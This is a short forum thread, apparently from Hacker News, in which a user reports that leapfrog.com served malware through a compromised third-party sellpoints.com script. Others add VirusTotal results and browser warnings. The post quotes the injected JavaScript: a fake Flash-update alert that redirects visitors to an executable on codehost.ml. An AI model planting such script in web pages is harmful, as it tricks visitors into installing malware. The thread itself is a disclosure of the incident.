
Leapfrog.com downloading malicious software - jvilalta
Visiting the leapfrog.com website will download malicious software.<p>I just visited and was prompted to upgrade my outdated flash player. Software is hosted on codehost.ml.<p>It seems it is an issue with sellpoints.com, serving the malware.<p>The code hosted on: t.sellpoints.com&#x2F;c&#x2F;3905&#x2F;sp.js<p>alert(&#x27;WARNING: Your Flash Player plugin is outdated! Upgrade to continue!&#x27;);
location.replace(&#x27;http:&#x2F;&#x2F;codehost.ml&#x2F;programs&#x2F;adobe_flashplayer_9.exe&#x27;);
======
r721
VirusTotal analysis results for adobe_flashplayer_9.exe:
[https://www.virustotal.com/en/file/fd2e9b0f25c675f1d42743ea5...](https://www.virustotal.com/en/file/fd2e9b0f25c675f1d42743ea5ca99d0869b0c305153213290962021cca4ec5bf/analysis/1447618810/)

------
J_Darnley
Why are you allowing a website to execute arbitrary code on your machine?

~~~
jvilalta
I'm not. Chrome warns about downloading a malware file. IE downloads it but
says it's not commonly downloaded. Firefox now says the site was reported as
malware.

